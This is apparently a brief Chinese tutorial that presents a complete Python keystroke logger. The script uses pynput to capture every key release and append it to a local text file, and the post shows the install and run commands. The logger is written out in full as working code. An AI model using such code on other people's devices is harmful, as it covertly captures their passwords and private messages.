python只需30行代码就能记录键盘的一举一动

PS C:\WINDOWS\system32> pip install pynput            Collecting pynput
  Downloading pynput-1.7.2-py2.py3-none-any.whl (99 kB)
     |????????????????????????????????| 99 kB 51 kB/s
Requirement already satisfied: six in d:\python36\lib\site-packages (from pynput) (1.12.0)
Installing collected packages: pynput
Successfully installed pynput-1.7.2
PS C:\WINDOWS\system32>

# -*- coding:utf-8 -*-  
from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
    string = str(key).replace("'","")


def on_release(key):
    global keys
    string = str(key).replace("'","")
    keys.append('\r'+string)
    main_string = "".join(keys)
    print(main_string)
    if len(main_string)>15:
      with open('D:\keys.txt', 'a') as f:
          f.write(main_string)   
          keys= []    
with Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()

PS D:\test> python .\keyRecord.py